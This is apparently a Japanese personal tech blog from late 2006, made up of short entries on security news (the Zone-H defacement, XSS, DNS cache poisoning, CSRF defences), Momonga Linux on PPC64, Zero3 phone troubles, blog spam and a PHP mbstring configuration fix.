これを見ると
2.御意見の提出件数
34件
3.御意見の内訳
・ 個人 23件
・ 企業 8件
・ 団体 3件
なようです。個人情報保護のガイドラインも多かれ少なかれ似たような結果になると思います。(つまり、影響力はある程度期待できるかも!?)
フィードバックはまだありません...
コメントを残す
ミイラ取りがミイラに - Zone-H Defaced
リンク: http://www.zone-h.org/content/view/14458/31/
Zone-Hのページが改ざんされたそうです。詳しくはこのエントリタイトルのリンク先を見て頂くとして
In a short recap, our faults were:
1) Having a staff member who was not wise enough to recognize a Hotmail XSS attack.
2) Not finding the uploaded, but useless at that time, php shell. Zone-H contains 80 gigs of files, but this no excuse.
3) Not acknowledging in time the JCE component advisory (and we all make our living by reading tons of advisories every day...)
だそうです。
攻撃には
HotmailのXSS
http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048645.html
Joomlaのローカルファイルインクルードバグ
http://secunia.com/advisories/23160/
(XSSとされていますがローカルファイルインクルードが可能なようです)
が利用されたようです。実際に攻撃を受ける場合の例として参考になると思います。
HotmailのXSSは
Hotmail/MSN Cross Site Scripting Vulnerability
Author: Simo64
Contact: simo64_at_morx_dot_org
Discovered: 07/25/2006
Published: 08/10/2006
Vendor: MSN.com
Service: Hotmail.com Webmail Service
Vulnerability: Cross Site Scripting (Cookie-Theft)
Severity: Medium/High
Tested on: IE 6.0, firefox 1.5 and Opera (should work on all
browsers)
と2006/7/25に発見され8/10には公開されていますが12月になっても修正されていなかったのですね... XSSはWebアプリにとって致命的な問題です。これほど長く放置されるのは問題ですね。
# 私はWebメールを信用していないので、メジャーなサービスの
# アカウントは持ってはいますが使っていません。
# Gmailも今年だけでも何回かXSS脆弱性が見つかっています。
# Webメールは便利ですがリスクも高い事を知るには良い事例
# です。
#
# 追記: http://www.itmedia.co.jp/enterprise/articles/0612/25/news019.html
# こんな意見もあるようです。さすがにこの手のフィッシングに騙されるとは
# 思いませんが、騙されないと思っている人の方が騙されやすい傾向にあるの
# で注意が必要?!
フィードバックはまだありません...
コメントを残す
権限昇格の問題
リンク: http://blogs.technet.com/msrc/archive/2006/12/22/new-report-of-a-windows-vulnerability.aspx
権限昇格が可能な脆弱性がWindows Vistaにもある、と言う話。
The PoC reportedly allows for local elevation of privilege on Windows 2000 SP4, Windows Server 2003 SP1, Windows XP SP1, Windows XP SP2 and Windows Vista operating systems.
セキュリティメモの方が早かったですね。
http://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/2006/12.html#20061225_CSRSS
関連
「Vistaの攻撃コード、5万ドル」——明かされる闇市場の相場
http://www.itmedia.co.jp/news/articles/0612/19/news006.html
Vistaのマルウェア感染はメーラーの実装による――Microsoftが検証結果公表
http://www.itmedia.co.jp/enterprise/articles/0612/25/news021.html
フィードバックはまだありません...
コメントを残す
SkypeにWorm
リンク: http://www.f-secure.com/weblog/archives/archive-122006.html#00001054
SkypeにWormが発生しているらしい。ただし、脆弱性を利用した攻撃ではなく、大規模な感染も発生していないようです。チャットで問題のある「バイナリ(sp.exe等)をダウンロードして」とメッセージが送られ、ダウンロード&実行すると感染するそうです。(亜種あり)
Skypeに脆弱性か!と思いましたが脆弱性を使った攻撃ではないようです。チャットメッセージからダウンロードしたファイルから感染するのであれば日本では問題にならないでしょう。
以下、F-Secureのブログから
* There is something spreading on Skype, but only in limited numbers
* It is not exploiting a vulnerability in Skype but simply sending chat messages asking you to download and run the infected executable
しかし、Bot作りも大変ですね。この手のWormでそれほど多くのBotが作れるとは思えないのですが... Botではなく別の目的かな?
# ところで、これワームと言うよりトロイの木馬ですよね。
フィードバックはまだありません...
コメントを残す
Full 64bit PPC Linux
テスト版ISOイメージはPS3へは普通(?)にインストールできていたようですが、私のPower Mac G5 Dualにはインストールができませんでした。最新版はインストールに成功(テキストモードですが)し、nvドライバを使ってXも使えるようになりました。取り合えず、ビルドだけは参加できる環境が整いました。
# パッケージの調整などは時間的に無理...
http://dist.momonga-linux.org/pub/momonga/test/PS3/
YDLは昔からフル64bitのPPC Linuxを有償で提供していたと思いますが、FC6などPPC64をサポートしているディストリビューションでもカーネルだけ64bitでアプリケーションは32bitパッケージになっていました。コミュニティで開発されているRPM系LinuxディストリビューションでフルPPC64はMomonga Linuxくらいだと思います。
以下はビルドしたパッケージのリスト。ppc.rpmでなくppc64.rpmとしてビルドされている。
-rw-r--r-- 1 yohgaki yohgaki 682690 May 31 2006 rpm-4.4.2-5m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 788533 May 31 2006 rpm-build-4.4.2-5m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 1431640 May 31 2006 rpm-devel-4.4.2-5m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 1127865 May 31 2006 rpm-libs-4.4.2-5m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 70281 May 31 2006 rpm-python-4.4.2-5m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 2631610 May 31 2006 ruby-1.8.4-7m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 550121 May 31 2006 ruby-devel-1.8.4-7m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 640791 May 31 2006 ruby-doc-1.8.4-7m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 118636 Jun 1 2006 ruby-rpm-1.2.0-19m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 348576 May 31 2006 ruby-tcltk-1.8.4-7m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 197165 May 31 2006 sharutils-4.6.2-1m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 370292 Jun 2 2006 sqlite-2.8.17-1m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 230806 Jun 2 2006 sqlite-devel-2.8.17-1m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 471272 Jun 2 2006 sqlite3-3.3.5-1m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 461554 Jun 2 2006 sqlite3-devel-3.3.5-1m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 602679 Jun 1 2006 tar-1.15.1-2m.ppc64.rpm
-rw-r--r-- 1 yohgaki yohgaki 999627 Jun 1 2006 tcl-8.4.12-1m.ppc64.rpm
フィードバックはまだありません...
コメントを残す
ブラウザのシェア
このブログの場合はおよそ3割がFirefoxでIEのシェアは6割ほどです。もちろんほとんどが日本国内からのアクセスです。普段Firefoxを使っていますが自分のアクセスは計算されないようになっています。(実はアクセスが増えてきてIE比率が上昇していたります)
Hatenaなので一般的ユーザとは言えないかもしれませんが、今はFirefoxは2割超、IEは5割強。2005年12月でもFirefoxが1割以上ですね。
http://counter.hatena.ne.jp/sample/report?cid=11&date=2006-12-01&mode=summary&target=browser&type=monthly&view=
現時点ではIEのシェアはおよそ75%。
http://www.w3counter.com/globalstats/
セキュリティ系のサイトの場合、IEのシェアは半分以下の場合も多いと思います。
http://security-protocols.com/2006/12/10/my-firefox-vs-internet-explorer-statistics/
その他、検索して見つけたブラウザシェア情報を書いたページ
http://www.kkoba.com/blog/archives/2005/10/20059.shtml
http://www.spreadfirefox.com/node/23850
http://www.seo-equation.com/www/cat25/browser_market_share
http://lovesolid.com/nuc/item/243
http://salo919.lar.jp/modules/wordpress/index.php?p=48
http://taisyo.seesaa.net/article/28702371.html
2005年には依然日本ではIEが9割以上のシェアを持っているというレポートもあります。
http://www.websidestory.com/products/web-analytics/datainsights/spotlight/05-10-2005.html
こちらは2005年12月でおよそ10%のシェアとしています。
http://japan.internet.com/webtech/20060110/12.html
2006年1月の時点で12%のシェアがFirefoxとするレポートもあります。
http://internet.watch.impress.co.jp/cda/news/2006/01/23/10575.html
日本に限ればFirefoxなどのシェアはまだ低く、確かに日本では欧米に比べてFirefoxのシェアの伸びは遅れています。2006年になってから一般への普及も広がってきているように思います。
データが少ないので想像に近い値ですが、現在の日本のユーザのブラウザシェアは7割強がIE、2割がFirefox、1割弱がその他といったところが現実に近いシェアではないでしょうか?
ちょっとWebのことを知っている方(Web開発をメインでやっていないIT系の方など)は未だに「IEのシェアは国内では90%+で圧倒的、Firefoxは数%」と思っている方も多いようです。2005年にはメディアで「日本は欧米に比べFirefoxのシェアは低い」という情報が多かったことも原因と思われます。
どうもブラウザのシェアがどうなっているか、認識にずれが生じてきていると思います。
フィードバックはまだありません...
コメントを残す
Zero3の名刺リーダ
リンク: http://www.sharp.co.jp/ws/007sh/function/card_reader.html
W-Zero3 esの 本体アプリケーションを1.50a
にアップグレードしました。
携帯風のメニューや使い勝手がよくなっているようです。使い勝手で気が付いたのはパスワードロックを利用し、数字のみのパスワードで同じ数字が連続している場合はフルキーボードの方から入力しないと入力できなかった不具合が解消されているようです。
携帯風メニューの方も割りと使いやすいです。
名刺リーダの読み込みだけ対応しているバージョンも付いていました。あまり使えない、と聞いていたのですが私が使ってみたところ、認識率も良く、速度も遅くないと感じました。もう少し試してみて大丈夫そうだったら購入します。
フィードバックはまだありません...
コメントを残す
QuickTime XSS Howto
リンク: http://www.gnucitizen.org/blog/backdooring-quicktime-movies/
QuickTimeを利用してXSSを行えることはMySpaceのWorm
http://www.f-secure.com/v-descs/js_quickspace_a.shtml
で有名になりました。
http://www.gnucitizen.org/blog/backdooring-quicktime-movies/
はQuickTimeを利用したXSSの手順を解説しています。
XSSのサンプル
http://www.gnucitizen.org/blog/backdooring-quicktime-movies/sample_backdoored.mov
上記のリンクを開くとJavaScriptのダイアログ(Windows XP SP2 + Firefox2.0)が開きます。NoScript拡張等、JavaScriptを無効にしている場合はダイアログは開かない
# b2evolutionのHTML解析正規表現に不具合があるようでリンク
# が正しく表示されないので自動リンク(URLだけ書いてリンクにする)
# にしています。イメージを貼り付けた事が原因かな?
フィードバックはまだありません...
コメントを残す
DNS: 短いTTLのリスク
リンク: http://jprs.jp/tech/material/iw2006-DNS-DAY-minda-03.pdf
TTLが短いとDNSキャッシュサーバがドメイン権限を持ったDNSサーバにクエリに行く機会が増える(当たり前ですがDNSキャッシュサーバはTTLで指定された時間だけレコード情報をキャッシュしてドメイン権限を持つDNSサーバにクエリしない)ので危険と言う話。1秒に一回キャッシュを更新するほうが1時間に一回キャッシュを更新するよりDNSキャッシュ汚染が行いやすくなる、と言う当たり前の事です。DNSキャッシュが汚染可能である事、その汚染の仕組みを知らない方には思いがけないリスク増加かもしれません。
7ページ目に記載されている数式だけではどれが何だか分かりませんが、Nはポート数を表しているはずです。ポートが固定されていると16^2の組み合わせしかない、と言う話は良く知られていると思います。DNSを管理している人なら誰でも知っていると思いますが
http://cr.yp.to/djbdns/forgery.html
にも記載されている通りBINDはポートが固定されていたのでdnscache(djbdnsのDNSキャッシュサーバ専用のプログラム)に比べてかなり脆弱だったのは有名な話です。
# 最近はBINDを使ってないので今のBIND9の実装がどうなっている
# か知りません。
気にした事が無かったですがTTLを短くした場合、ネームサーバを増やすのは良い考えですね。DNSはラウンドロビンでIPアドレスを返すのでネームサーバが増えた分だけ細工したパケットでDNSキャッシュ汚染できる確立を低下できます。そのうちネームサーバが100個登録されているドメインとか出てくる(?)かも知れません。そうなるとBINDのNOTIFY/AXFERではちょっと困りますね。djbdnsのrsync方式の方が信頼性が高い&直ぐに同期できるのでBINDではちょっとやりづらいと思います。
ここで余談を一つ。djbdnsには昔から面白い機能があります。データセンターの変更などでWebサーバ等のIPアドレスが変更される場合があります。移行前にTTLを短くしておくなどの対処を行いますが、djbdnsには「指定した時間になったらIPアドレスを変更する」機能があります。この機能はtinydns(djbdnsのDNSサーバ)は指定されたtai64n形式の時間(qmail等でも利用されている厳密に時間表記が行える表記形式)に合わせてリクエストがくる度に自動的TTLを変更することによって実現されています。データセンターの変更だけでなくWebサーバのメンテナンスにも便利です。
参考:
http://cr.yp.to/djbdns.html
http://djbdns.qmail.jp/
http://www.ietf.org/internet-drafts/draft-hubert-dns-anti-spoofing-00.txt
http://www.isc.org/sw/bind/
http://www.bind9.net/
更に余談をもう一つ。少なくとも先月はYahoo! BB、DoCoMoのMTAはネームサーバが停止しているとメールが送れない場合があったようです。ネームサーバは1台でも稼動していれば名前解決ができるのですが、Yahoo! BB、DoCoMoのMTAは稼動していないネームサーバのIPアドレスを引いてしまうと名前の解決に失敗した旨のエラーでメール送信に失敗していたようです。単なる想像ですがDomain Keyと関連があると思っています。
# ネームサーバを増やすと思わぬリスクを増やすかも
# と言う話でした。
2 コメント
TTL が1日であることが普通だった時代は、キャッシュサーバがコンテンツサーバにクエリする頻度も低かったので、偽の返答がキャッシュサーバを汚染する確率が高くなるにもそれなりに時間がかかっていたことが、いまはそうではなくなっているので、昔の感覚でいると危険ですよ、というとらえかたもできるかと思います。
コメントを残す
Zero3 es修理から戻る
壊れたZero3が修理から戻ってきました。修理には2週間くらい必要かな、と思っていたのであまりに速いことに驚きました。シャープのサポート素晴らしい :)
W-SIM,本体とも無料でした。(W-SIMは壊れていなかったはずです)電源部分の調整(何を調整したかは不明)OSの再インストールをしたようです。
修理前のZero3は電源を入れているとアンテナマーク横のLEDはほとんど「青」が点燈していたのですが、修理後は「緑」になりました。外側の傷等は修理前と同じだったので中身をまるごと替えたのかな?と思ったのですが「青」で点燈する場合もあるようです。
私はZero3を発売と同時購入したので初期ロットのはずなので、最近Zero3を購入した知人に聞いてみるとLEDは「緑」で点燈しているとのことでした。初期ロットのファームウェアには微妙な違いがあったのかも知れません。
4 コメント
気になったのでマニュアルを見てみると(0-24)アンテナマーク横のLEDは電波状態を表示するLEDらしいのですが
緑:強い
橙:普通
赤:弱い
消灯:エリア外
となっています。もしかして青色は異常??
しかも、マニュアル通りに電波の強さを表している場合も時々あるようです。
私も同様に青色点灯の症状が最近出てしまい、困ったなぁと思いググってこちらにたどり着きました。
何の解決策も見つからないまま、ふと気づいて未読メールを既読にしたところ、元に戻りました。自己解決です(笑)
青色表示はメール着信の表示なので、もしかしてみなさん、メールが着信したままになってませんか?
コメントを残す
それ Unicode で - TEXT HACKS
リンク: http://openmya.hacker.jp/hasegawa/public/20061209/momiji.html
クロスサイトスクリプティングに利用可能なテキストハックが簡潔にまとめられている。
目新しかったのはUnicodeのBidi機能(テキストの記載方向が異なる言語、たしかアラビア、イスラエルなどの言語)を使ってWindowsの拡張子をごまかせる事です。
# 他のOSでも問題になるかも。もし同じ問題があったとしても、UNIX系
# OSの場合は実行ビットが有効でないと実行バイナリであっても実行さ
# れないので影響は少ないですが。
ファイルマネージャ、コマンドラインなどはBidi機能はロケールのみよって有効・無効を設定できるようになっていないとセキュリティ上問題です。
文書の途中で「アラビア語の文字列を書く」必要がある場合もあると思うのでシステム全体としてBidiを無視することは良くありません。しかし、文書中でBidiが有効になっていてファイル名にBidiが混じっていてそのファイルをクリックすると意図しないバイナリを実行、という攻撃方法もアプリケーションによっては行えそうです。とにかく気を付ける(ってどうするの、という話もありますが)しかないです。
1 コメント
Windowsのセキュリティポリシーを利用した防御方法。制御文字を使用した場合に実行を不許可にする。
ポリシー使わずに設定できるようになってた方が良いですね....
コメントを残す
Ultramonky L7 0.5.0リリース
リンク: http://sourceforge.jp/forum/forum.php?forum_id=10716
最近時々Users-MLにメールが流れています。Ultramonky L7(L7:Layer7スイッチ、HTTPプロトコル・Webアプリケーションレベルでの負荷分散機能)はがんばってもらいたいプロジェクトなので転載します。
ultramonkey-l7-usersの皆様へ
こんにちは。
渡丸と申します。UltraMonkey-L7のSNMP対応版(Ver.0.5.0
)リリースの
公開につきまして、以下の通りお知らせします。
(先ほどSourceForge.jpのUM-L7ニュース欄にも掲載しました。
http://sourceforge.jp/forum/forum.php?forum_id=10716 )追加のプロトコルモジュールとして、以下のモジュールを追加した
- l7vs-0.5.0-0
- l7directord-0.5.0-0
を作成しました。cpassive … Cookieパーシステンスpassiveモジュール
振分先サーバにてcookie情報を付与することで
セッション管理するモジュール
crewrite … Cookieパーシステンスrewriteモジュール
振分先サーバにて空のcookieを付与し、
UltraMonkey-L7でcookie情報を変更することで
セッション管理するモジュール
cinsert … Cookieパーシステンスinsertモジュール
UltraMonkey-L7でcookie情報を付与することで
セッション管理するモジュール
chash … Cookieパーシステンスhashモジュール
振分先サーバにてcookie情報を付与し、
UltraMonkey-L7でcookie情報の一部を管理することで
セッション管理するモジュール
urla … URLパーシステンスモジュール
HTTPレスポンスのボディ部のURL情報より
セッション管理するモジュールまた、追加機能として、以下の機能を追加しました。
閾値による振分回避機能 … 設定している閾値を超えた場合、
他のサーバ(Sorryサーバ)へ振り分ける機能レプリケーション機能 … セッション情報を冗長化しているサーバと
同期をとる機能ドキュメント類は、後日修正して、ご連絡させていただきます。
ご要望、コメント等ございましたら、ご連絡願います。_______________________________________________
Ultramonkey-l7-users mailing list
Ultramonkey-l7-users@lists.sourceforge.jp
http://lists.sourceforge.jp/mailman/listinfo/ultramonkey-l7-users
フィードバックはまだありません...
コメントを残す
Zero3 es壊れる
車に乗っている間にZero3が固まっていました。
いつものことなので取り合えずリセットボタンを押す。再起動しようとするのですが起動中の画面から先に進まず... 仕方ないのでバッテリカバーを外してフルリセットボタンを押し、電源投入、しかし同じ状態...
完全に壊れていると判断してそのままWillcomショップに直行し代替機を貸してもらって帰ってきました。この忙しい時にこれだけで半日使ってしまいました。7月発売の機種なので多分無料修理になるとは思いますが、「W-SIM(PHSの本体・心臓部)は最大でも2100円で修理できます」とショップの方が言っていました。本体とW-SIM、別々に修理申込書を書きました。いつ帰ってくるのかは不明ですが、数週間は必要なようです。
カウンター後ろの棚には修理受付したと思われるZero3 esが2台ありました。もしかして結構壊れやすいのかも?
追記:Zero3 es用のワンセグチューナーが発売になってたようですね。値段は思ったよりもリーズナブルで14,800円。
http://arena.nikkeibp.co.jp/rev/20061207/120089/
このワンセグチューナーを見て思ったのは「USB充電できないが電源を別にしておいて正解」と思いました。USB接続するのでUSB充電では長時間視聴できません。クレードルも使いづらいので別電源にしていた事がメリットになっています。
フィードバックはまだありません...
コメントを残す
新手のBlogスパム
前のバージョンから「ひらがな」フィルタを使って海外からのコメント・トラックバックスパムを削除していたのですが、敵も気が付いてきたようでタイトルのコピーを入れたスパムを送ってくるようになりました。
スパムを送ってくる業者はページランクが上がれば良いので同じ言語であるかどうか関係なくスパムを送っていると思われます。日本語サイト以外でも言語フィルタをつけたサイトが増えてきているのかも知れません。
「ひらがな」フィルタの効果は絶大だったのですが、タイトルのコピー・本文の一部をコピーされたスパムの場合、ほぼ無力に近いです。blogアプリをアップグレードしてる半日程度の時間、平仮名フィルタが無かっただけで900くらいのトラックバックスパムが着てしまいました。半分だけでもタイトルや本文のコピーをつけてSPAMを送られてきたらモデレートなんて不可能です。そのうちまた新しい手法が必要になりそうです。やはりGeoIPかな... あまりやりたくない手法ですが...
フィードバックはまだありません...
コメントを残す
Blogアプリをバージョンアップ
このBlogはb2evolutionなのですが、一応安定版となっているとはいえ随分前からアップグレードしていませんでした。調べてみたら2年間アップグレードしていませんでした。
1.9.1Betaにアップグレードしました。基本的にconf/_basic_conf.phpの文字エンコーディングを"utf-8"に設定するだけでそれなりに日本語環境でも動作するようです。メールのエンコーディングはダメなようで修正が必要です。一部には明らかな不具合もありますがBetaなので次の最終版では直っている事を期待したいです。
改行文字がファイルによってCR/LFとLFが利用されている部分などは修正されているのかな?と期待していたのですが直っていないようです。ほぼ同じ内容のコードを含むファイルが複数ある等、改善した方が良い箇所があるのですが気長に待つ事にします。
# ずっと直っていないのですぐに直る
# 事は期待できないでしょうね。
バージョンアップに伴いコメント・トラックバックのモデレートができるようになりました。デフォルトがモデレートなのでコメント・トラックバックが即座に反映されません。面倒ですがスパムの量を考えると仕方ないです。
1 コメント
コメントを残す
PostgreSQL 8.2 リリース
リンク: http://www.postgresql.jp/PostgreSQL
PostgreSQL 8.2がリリースされました。
主要な変更点
Among the features of this new version are:
* Higher performance (+20% on OLTP tests)
* Improved Warm standby databases
* Online index builds
* SQL2003 aggregates
* Improved TSearch2 with Generalized Inverted Indexes
* Support for DTrace probes
* Advisory Locks
* New ISN/ISBN and pgCrypto modules
* Selective pg_dump options
参考: アプリプログラマに影響が大きい変更点
http://blog.ohgaki.net/index.php/yohgaki/2006/09/29/postgresql_8_2_beta
フィードバックはまだありません...
コメントを残す
PS3でも動作するMomonga Linux 3 for PPC64
Momonga Linuxメンバーの方がインストール可能なPPC64のDVDイメージの公開を準備中です。
rpm系では初!と思われる full 64bit(ppc64) の環境です。
Momonga ppc64 環境が初めて日の目を見るかも…
との事です。
私はISOイメージを手に入れたのでとりあえずDual G5のMacに入れてみよう。
フィードバックはまだありません...
コメントを残す
Zero3 esにプレミアムバージョン
リンク: http://plusd.itmedia.co.jp/mobile/articles/0611/01/news042.html
名刺リーダーが追加されて3000~4000円増しで発売されたのですね。知りませんでした。既に購入済みユーザーにも販売されるようです。連絡先に自動登録できるのかな? 名刺リーダーは欲しかった機能なので買います。
個人的には必要ないですがコレを見るとワンセグチューナーもあるようです。無線LANカードやプロジェクタにつなげるオプションもあったり(MiniSDに付けるタイプはこちら)至れり尽くせりです。
電話としてはちょっと困る事(フリーズしたり)もありますが、お勧めの1台と思います。私の周りではZero3 es人口急増中です。
追記:
モニタに出力できるIMSV-841が買える場所がない、と思っていたらこんなページを見付けました。
http://kureyon88.seesaa.net/article/21568393.html
価格差が大きいですね。
1 コメント
コメントを残す
VAIO Z1をメモリ増設して延命
プリンストンテクノロジーのページを見ると自分が持っているVaio Z1は1GBのDIMMを付ける事ができるようです。Core2DuoのMac Bookを買おうかと思っていたのですが1GB DIMMに交換して少し延命する事にしました。どちらにしてもこのノートも捨てる訳ではないので512MB -> 1GB DIMMに交換しても良いかなと。
多分載せる事ができるだろうとは思っていましたがこれで安心して買う事ができました。ありがとうプリンストン :)
と言うことで今日、通販で買ったプリンストンのメモリ(バルクより高いですが情報提供料としてプリンストンテクノロジー製を購入。今値段を調べたらこのメモリ、買った時に比べてめちゃくちゃ安くなってますね...)が届きました。768MBと1256MBではWindowsの動作は雲泥の差です。メモリが少なくてディスクアクセスが多くて困っている方には、この手のアップグレードはお勧めです。
# 一部のVaio Z1には1GBのDIMMは付けれないようです。ご注意下さい。
ところでノートPC用の512MB DIMM(PC2100)が余ってしまいました。送付するのは面倒なので高松近郊にいらっしゃる方限定になってしまいますが、STLUGのオフ会に来れる方でこのDIMMが有効活用できる方であれば差し上げます。メール下さい。
# STLUGの方、私のブログ読まれているかな??
フィードバックはまだありません...
コメントを残す
Momonga Linux 3のX
リンク: http://www.momonga-linux.org/
Momonga Linux 2では普通にXも使えていたPCにMomonga Linux 3をインストールしたところXが起動するとZAPもVCへの切替えもできない状態になりました。インストールまでは通常通りGUIでインストールできたので設定の問題であることは明らかです。勘でDRIかな?とxorg.confを編集してdriモジュールをロードしないようにしたら普通に使えるようになりました。
# 当然DRIは使えませんが、Xは使えるようになりました。
# ディスプレイドライバはviaです。
もしインストール後にXが使えなくなった方、DRIを無効にしてみると良いかもしれません。
この他にもnVidiaカードを使っている方はxorg謹製のnvドライバを利用するよりvVidiaが提供しているドライバを使用した方が良いと思います。nvドライバだとXが全く動作しなかったり、少し動作してもすぐにおかしな状態になる場合あります。nVidiaが提供しているドライバもバージョンによって当たりハズレがあります。ハズレに当たるとどうやっても正常に動作しない事があります。私はIA32用(i686)の
NVIDIA-Linux-x86-1.0-9629-pkg1.run
を945チップセット+GeForce6600、TwinView有効で利用しています。特に問題もなく快適です。
IA64(x86_64)の場合、1.0-8776は当たり、1.0-9626はハズレだそうです。
参考:http://wiki.ohgaki.net/index.php?Momonga%20Linux%2FNVidia%20TwinView
2 コメント
http://www.momonga-linux.org/archive/Momonga-users.ja/msg00276.html
以下のスレッドを見てください。
trunkのドライバの方が新しいですね。trunkのドライバを使ってみるとDRIも動作するのかもしれません。
コメントを残す
Flash Player 9 beta for linux
リンク: http://labs.adobe.com/downloads/flashplayer9.html
2006/11/20付けでBeta版のバージョンアップ行われたようです。IA64は出さないのかな?出してほしい。
フィードバックはまだありません...
コメントを残す
Easy video creation using only FOSS software
リンク: http://applications.linux.com/article.pl?sid=06/11/13/2129256
Free+OSSだけでビデオ編集するための情報。
娘が生まれてから大量のビデオは撮っていますが編集はした事が無いです。OSSで手軽編集できる環境になった?!
フィードバックはまだありません...
コメントを残す
SANS TOP20
リンク: http://www.sans.org/top20/
SANS TOP20が更新されています。
Cross Platformの一位が「Web Applications」になっています。PHP以外のWebアプリにもセキュリティ上の問題が数多くあることに気が付いたと言うことでしょう。といっても解説はPHPが対象となっています。HTTP Response Splittingは最近のPHPでは不可能になっていますが記載されています。(header関数でCR,LFは送信できないよう仕様変更されている。最近ではPythonで作られているtracにHTTP Response Splitting脆弱性が見付かっている)
PHP以外のアプリでも問題が多い事を示している統計情報もあります。例えば、これなど
http://internet.watch.impress.co.jp/cda/news/2006/07/24/12759.html
対象はJavaのWebアプリが多いと聞いています。
XSSと異なり、SQLインジェクションなどは100%防げるにも関わらずこういった状況のようです...
フィードバックはまだありません...
コメントを残す
Selenium: オープンソースのWebアプリテストツール
フィードバックはまだありません...
コメントを残す
フォームの2重送信はセキュリティ問題か?
備考:前のエントリのコメントに対してこのエントリを作成しました。
セキュリティ対策の3大要素の一つとしてデータの整合性(Integrity)があります。3要素は私が勝手に決めたことではなくISO規格でも決まっています。
個別のアプリでの解釈の問題になりますが、データの整合性に重複送信が含まれない、と考えるのであればコメントされている通り「発想が変」と言う考え方になるかもしれません。重要なデータでなければ(例えばブログへのコメントなど)安全性とは無関係といってもあまり差し支えないです。しかし、注文や送金などのデータでは致命的です。
# 認証システムが無いサイト(必要ないサイト)
# に「認証システムが無い」からといって「セキュリ
# ティ問題だ」と騒ぐ必要がないのと同じでデータ整
# 合性が必要ないサイトではセキュリティ問題になり
# ません。だからと言ってデータ整合性の問題が
# セキュリティ問題でなくなる訳ではありません。
従ってデータの整合性が必要でないサイトやアクセシビリティを気にしないサイトであればREFERERでCSRF対策したサイトでも、2重送信対策をしていないサイトでも問題ないといえるでしょう。データの整合性がセキュリティ問題でないサイトも多くありますが一般的にはセキュリティ問題といっても差し支えないと考えています。(認証の問題がセキュリティ問題であると同じように、データの整合性もセキュリティ問題ということです)
# REFERERを送ってこないクライアントからは
# 接続を受け付けなければアクセシビリティ
# の問題になります。
安全性が低いサイト、アクセシビリティが低いサイトを作ることは自由です。しかし、お勧めできるサイトでないと考えています。完全なCSRF対策(と2重送信対策)を施したサイト作っても手間はほとんど変わりません。これらの理由からREFERERを利用したCSRF対策、ハッシュ値等を利用した2重送信対策は不完全・不適切な対策であると考えています。
1 コメント
Flash PlayerにREFERERを改ざんできてしまう問題が最近発見されました。図らずもFlash Playerの問題がREFERERをセキュリティ対策(CSRF対策)の情報として利用するのは不適切であることを証明してくれています。この問題を利用する以外にREFERERに頼ったサイトを効率的に攻撃する方法は思い当たりませんが、以前から「REFERERをいかなるセキュリティ対策に利用するのも不適切」と発言していた私の意見を補完してくれる実例になったと考えています。
コメントを残す
refererでCSRF(XSRF)対策...
フォームにランダムで一意なIDを割り当てる方式も十分簡単だと思いますがREFERERでCSRF対策を行っているサイトが結構あるようですね...
FlashでREFERERが書き換えられる問題は別次元の問題だとしても、REFERER自体ブラウザが送信するデータであるため元々信頼できるデータでは無いです。随分前からクライアントレベルのセキュリティ対策ソフトウェアの中にはREFERERヘッダを削除する物もあります... 社内サーバから外部リンクをクリックした場合に社内サーバのURLが外部に洩れないようにREFERERヘッダを削除するプロキシもあります...
一般的な環境からなら使えるから(ある程度安全)といってセキュリティ対策にREFERERを使用するのは良くない考え方です。
ところでREFEERERでCSRF対策を行っているサイトは同じフォームの重複送信対策はされているのでしょうか?送信されたデータのハッシュを取って同じだったら重複とみなすとか?(この手のサイトは「2回以上送信ボタンを押さないでください」と設計ミスが明記されていることが多いです...書いてないサイトも多いと思います)
1 コメント
> セキュリティ対策にREFERERを使用するのは良くない考え方です。
使えない人がいるということと、安全かどうかは別でしょ?
使えない人がいると安全でなくなるのですか?
違いますね。使えない人が出るだけです。
「ある程度安全」という発想がそもそも変です。
> ところでREFEERERでCSRF対策を行っているサイトは
> 同じフォームの重複送信対策はされているのでしょうか?
していないところもあるでしょうが、それは自由ですね。
コメントを残す
今日の驚き!
何故かmb_send_mailでメールが文字化けする、普通に運用しているサーバでは問題が無いにも関わらず...
調べてみるとmbstring.languageのaccess設定が6になっていました。6つまりスクリプトからは変更できない状態になっています。運用サーバ環境(開発環境含む)ではphp.ini設定はほとんど全て仮想サーバレベルで設定していたので今まで気が付きませんでした。
mbstring.languageの設定が変更できないと、mb_send_mail()を使って正しくメールを送信することができなくなります。(日本だけ、とかなら良いですが)この件、かなり「怒」なので時間ができたら誰が変更したか調べる事にします。
PHPは5.1...
追記:
mb_send_mail()で文字化けで困っている方は、php.iniなら
mbstring.language = "japanese"
Apacheの設定ファイル、.htaccessなどなら
php_value mbstring.languge japanese
と設定します。これで日本語メールでも文字化けしなくなります。デフォルトのmbstring.language設定(neutral)の場合、日本語メールは正しく送信できません。
パッチをするなら(PHP_5_2ブランチ)
cvs diff: Diffing ext/mbstring
Index: ext/mbstring/mbstring.c
===================================================================
RCS file: /repository/php-src/ext/mbstring/mbstring.c,v
retrieving revision 1.224.2.23
diff -u -r1.224.2.23 mbstring.c
--- ext/mbstring/mbstring.c 11 May 2006 14:47:34 -0000 1.224.2.23
+++ ext/mbstring/mbstring.c 10 Nov 2006 05:10:51 -0000
@@ -739,7 +739,7 @@/* {{{ php.ini directive registration */
PHP_INI_BEGIN()
- PHP_INI_ENTRY("mbstring.language", "neutral", PHP_INI_SYSTEM | PHP_INI_PERDIR, OnUpdate_mbstring_language)
+ PHP_INI_ENTRY("mbstring.language", "neutral", PHP_INI_ALL, OnUpdate_mbstring_language)
